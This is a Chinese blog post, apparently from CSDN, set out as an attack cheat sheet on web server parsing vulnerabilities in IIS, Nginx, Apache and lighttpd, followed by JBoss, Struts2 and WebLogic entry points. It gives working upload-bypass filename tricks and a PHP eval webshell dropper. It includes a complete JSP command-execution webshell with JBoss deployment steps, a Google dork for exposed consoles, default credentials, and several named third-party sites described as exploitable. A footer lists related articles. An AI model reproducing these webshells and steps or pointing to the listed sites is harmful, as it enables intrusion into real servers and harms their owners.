解析漏洞

最新推荐文章于 2023-02-04 21:05:21 发布
最新推荐文章于 2023-02-04 21:05:21 发布
阅读量203 收藏
点赞数
文章标签： php shell 操作系统
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_34218579/article/details/85087330
版权

[+]IIS 6.0

1. 目录解析：/xx.asp/xx.jpg   xx.jpg可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码。（或者在fider里面如果有topath的话尝试，直接加目录传Jpg）

比如 在网站下建立文件夹的名字为 .asp、.asa 的文件夹，其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

例如创建目录 wooyun.asp，那么

/wooyun.asp/1.jpg

将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。

2.IIS6.0 会将 xx.jpg 解析为 asp 文件。

  在IIS6.0下，分号后面的不被解析，也就是说

wooyun.asp;.jpg  会被服务器看成是wooyun.asp

后缀解析：/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)

{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去，剩下/xx.asp}
3.默认解析：/xx.asa /xx.cer /xx.cdx
IIS6.0 默认的可执行文件除了 asp 还包含这三种
此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

[+]IIS 7.0/IIS 7.5/Nginx <8.03

IIS 7.0/IIS 7.5/Nginx <8.03
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。
常用利用方法： 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后，避免破坏图片文件头和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件
######################################
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话*** shell.php 密码 cmd

2. IIS7.5漏洞还包括，a.aspx.a;.a.aspx.jpg..jpg 以这种方式命名***文件。

[+]Nginx <8.03

在Fast-CGI关闭的情况下，Nginx <8.03依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

[+]Apache

1.后缀解析：test.php.x1.x2.x3
Apache将从右至左开始判断后缀，若x3非可识别后缀，再判断x2，直到找到可识别后缀为止，然后将该可识别后缀进解析
test.php.x1.x2.x3 则会被解析为php
经验之谈：php|php3|phtml 多可被Apache解析

2.Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.

比如 wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…（把你知道的常见后缀都写上…）去测试是否是合法后缀

[+]其他一些可利用的

在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点，这也是可以被利用的！
在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可得到shell。
我记得Fck Php 2.6就存在加空格绕过的漏洞。{Linux主机中不行，Linux允许这类文件存在}

如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说的，当初我并不知道），且可以被上传，
那可以尝试在.htaccess中写入:
<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>
shell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件

[+]lighttpd

xx.jpg/xx.php
[Add by loser]

http://drops.wooyun.org/papers/539

http://www.yunsec.net/a/security/web/jbst/2012/0903/11311.html

——————————————————————————————————————————

tomecate和jboss一般用在Java JSP环境中，测试方式是通过扫端口的形式，加端口是实验。

一、tomecate（绿盟的极光可以扫，wvs不爆，日志和网站根目录在同一目录）

二、Jboss（Wvs可以爆，默认情况下没有账号密码）8080

1.JBoss Management

Tomcat status (full) (XML)

JMX Console（选这个）

2.jboss.admin

service=DeploymentFileRepository

3.在void store()

p1 c.war

p2 b.jsp

<%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION=""> <INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os =p.getOutputStream(); InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML>

在地址栏输入 a/b.jsp


Jboss通过Google扫：inurl:jboss.admin%3Aservice%3DDeploymentFileRepository

可以的：https://idm.qalorillardb2b.com/jmx-console/


三、struck2 通过2012和2013的工具去扫后缀名为.do,.action的域名。WVS可以爆2012的漏洞。

https://www.saalfeldredistribution.com/swc/home/home.action

http://book.hkexpress.com/system/homeAction!home.action?request_locale=zh_TW


四、weblogic默认的端口

7001-7005

用户名weblogic

密码 weblogic

21 23 135 145



weixin_34218579
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
解析漏洞源码
02-28
在网络安全领域，解析漏洞是一种常见的安全问题，尤其在网站开发中。这种漏洞通常是由于服务器或应用程序在处理文件上传时，对文件类型或内容的解析方式存在缺陷，导致攻击者能够绕过安全防护，上传恶意代码或者执行...
Runtime.getRuntime().exec详解
liuqinhou的博客
02-22 3343
Runtime
Java代码审计之命令执行
糖小喵
05-08 774
介绍 由于业务需求，程序有可能要执行系统命令的功能，但如果执行的命令用户可控，业务上有没有做好限 制，就可能出现命令执行漏洞。 漏洞示例 此处以 getRuntime 为例，示例代码片段如下: String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); 审计策略 这种漏洞原理上很简单，重点是找到执行系统命令的函数，看命令是否可控。在一些特殊的业务场景是能 判断出是否存在此类功能，这里举个典型的实例场景,.
6、漏洞复测系列 -- 破窗漏洞（MS14-066）
Peter 的博客
01-29 1万+
本系列文章旨在对于有一定网络安全基础的人员，在日常工作中扫描出来的各种漏洞，如何进行验证，以区分该漏洞是否存在或是扫描器误报。请勿应用非法途径。 一、漏洞描述 由于安全通道（Schannel）安全包对包的处理不当，远程Windows主机受到远程代码执行漏洞的影响。 攻击者可以通过将特制数据包发送到Windows服务器来利用此漏洞。微软为此漏洞，更新了四种新的ssl加密，测试发现系统不支持此类加...
JBoos漏洞及利用整理
weixin_45106410的博客
11-30 4367
CVE-2013-4810 Apache Tomcat/Jboss远程代码执行漏洞 与CVE-2015-7501漏洞原理相同，这里详细介绍一下两者的区别，其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作，而web-console/Invoker利用的org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并
Web权限&权限划分
weixin_54882883的博客
08-29 1568
后台或网站权限后的获取途径：后台（修改配置信息功能点），网站权限（查看的配置文件获取），系统中 API 暴露到互联网上会存在一定的安全风险，: 爬虫、恶意访问等等。操作数据库的权限，数据库的增删改等，源码或配置文件泄漏，也可能是网站权限(webshell)进行的数据库配置文件读取获得。那么权限提升他的意义就是：当前的权限无法满足需要的操作，通过权限提升的技术，提升当前的权限来实现想要的操作。Web权限其实就是网站权限，获取Web权限其实就是获取这个网站的权限。管理员UID为0：系统的管理员用户。...
在PHP中使用FastCGI解析漏洞及修复方案
01-20
漏洞描述： Nginx默认是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问http://huoche.7234.cn/images/jb51/jxpmrseidpt.jpg/1.php这个URL时，$fastcgi_script_...
Apache后缀名解析漏洞分析和防御方法
09-15
### Apache后缀名解析漏洞分析 #### 漏洞背景 Apache是一款广泛使用的Web服务器软件，在互联网上承载了大量的网站和应用。由于其高度可定制性和稳定性，成为了许多组织和个人建站的首选。然而，如同任何复杂的系统...
【权限提升】windows平台-提权项目&MSF&CS&溢出漏洞
今天是几号的博客
02-04 2514
简介：WES-NG是一个基于Windows系统信息实用程序输出的工具，该实用程序提供了操作系统易受攻击的漏洞列表，包括对这些漏洞的任何利用。powershell运行(上传是为了收集系统打的补丁信息，作用等同于systeminfo，当无法上传文件时，可以用systeminfo中的信息覆盖KB.json文件)简介：这是一款基于主机的漏洞扫描工具，采用多线程确保可以快速的请求数据，采用线程锁可以在向sqlite数据库中写入数据避免。覆盖项目KB.json文件(一定格式的操作系统信息 补丁信息等)
MS14-066漏洞修复
qq_34811731的博客
12-03 7732
修复windows server 2012 R2 漏洞：MS14-066 远程代码执行 （2992611） 需先安装补丁KB2919355，再安装KB2992611。 1.先下载补丁KB2919355 2.执行Windows8.1-KB2919355-x64 3.在windows更新下，找到Windows server 2012 R2更新（KB2919355），点击【安装】 4.等待安装完成。 5.下载补丁KB2992611 6.执行Windows8.1-KB2992611-x64 7.等待安装
漏洞验证系列--MS14-066
shengerjianku的专栏
10-12 5488
本系列文章旨在对于有一定网络安全基础的人员，在日常工作中扫描出来的各种漏洞，如何进行验证，以区分该漏洞是否存在或是扫描器误报。请勿应用非法途径。 1.安装winshock工具 cd /usr/local/tools/ git clone https://github.com/anexia-it/winshock-test.git #使用方法 cd winshock-test ./winshock...
JBoss高危漏洞分析
02-25 429
前言 JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss...
Runtime.getRuntime().exec(cmd)使用不当引起的java.io.IOException: Too many open files
itcastjunge的博客
05-18 217
本文转自：[url]http://www.blogjava.net/jnbzwm/archive/2010/09/14/332009.html[/url] 天生产环境的一个Java应用程序的日志里，出现了很不和谐的记录： java.io.IOException: Too many open files 在网上查了一些关于此异常的解决方案，基本上都是说要扩大linux系统的文件句柄数限制。...
JAVA代码执行CMD命令 RunTime.getRuntime().exec()
热门推荐
qq_34823218的博客
07-06 1万+
在java中，RunTime.getRuntime().exec()实现了调用服务器命令脚本来执行功能需要。 用法： public Process exec(String command)-----在单独的进程中执行指定的字符串命令。 public Process exec(String [] cmdArray)---在单独的进程中执行指定命令和变量 public Process exec(String command, String [] envp)----在指定环境的独立...
Java开发：(执行系统(例cmd)命令)Runtime.getRuntime().exec()参数解释
yu121380的博客
11-23 4154
在日常的java编程开发中，难免遇到要在程序中使用系统的操作命令，如windows下的cmd，或linux的命令，接下来介绍以下Runtime.getRuntime().exec()函数所执行的系统命令。 /** * exec()，有三个参数，分别为 * command: 系统命令，如cd、ls、cat等等 * envp：一个string[]，每一个参数代表环境变量，若当前继承了进程的系统环境变量，则为null * path：当前进程的工作目录（特别重要，比如在执行jar包时，就应该在jar包下的当前目
用Runtime.getRuntime().exec(cmd)执行命令
brianye的专栏
12-04 4009
根据Runtime.getRuntime().exec(cmd)来执行xmd命令 package com.yeshun.util.process; import java.io.File; import java.io.FileOutputStream; import java.io.OutputStream; public class ExecuteCmd { public stat
iis8.5解析漏洞
最新发布
08-31
IIS（Internet Information Services）是微软开发的一款用于在Windows操作系统上托管和发布网站的Web服务器软件。而IIS 8.5是IIS的一个版本。 所谓的解析漏洞是指由于服务器在解析用户提交的URL请求时没有正确验证或过滤，导致攻击者可以通过构造恶意的请求来绕过服务器的安全机制，进而执行未经授权的操作。 IIS 8.5的解析漏洞会导致以下问题： 1. 目录遍历：攻击者可以通过构造特定的URL请求，获取网站服务器上的敏感文件或目录，从而获得未经授权的访问权限。 2. 文件包含：攻击者可以通过构造特定的URL请求，将自己的恶意文件包含在服务器响应的页面中，当用户访问该页面时，恶意文件会被执行，从而实现远程命令执行或注入攻击。 3. SQL注入：攻击者可以通过构造特定的URL请求，将恶意的SQL代码注入到服务器后台数据库中，从而获取数据库中的敏感信息或篡改数据。 4. 远程命令执行：攻击者可以通过构造特定的URL请求，远程执行服务器上的命令，获取服务器的访问权限，从而导致服务器遭到控制。 为了防止IIS 8.5解析漏洞，我们可以采取以下安全措施： 1. 及时更新：定期安装微软官方发布的最新安全补丁，确保服务器上的IIS 8.5始终保持最新版本。 2. 配置安全策略：通过限制服务器上IIS 8.5的访问权限、禁用不必要的功能和服务、设置安全的文件和目录权限等来减少攻击面。 3. 输入验证和过滤：确保服务器能够对用户提交的URL请求进行有效的验证和过滤，过滤掉恶意的请求，防止攻击者利用解析漏洞进行利用。 4. 安全编码：开发人员在编写网站代码时应遵循安全编码的最佳实践，避免常见的漏洞，如目录遍历、文件包含和SQL注入等。 总之，IIS 8.5解析漏洞是存在的，但我们可以通过更新和配置安全策略等措施来防止被利用。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值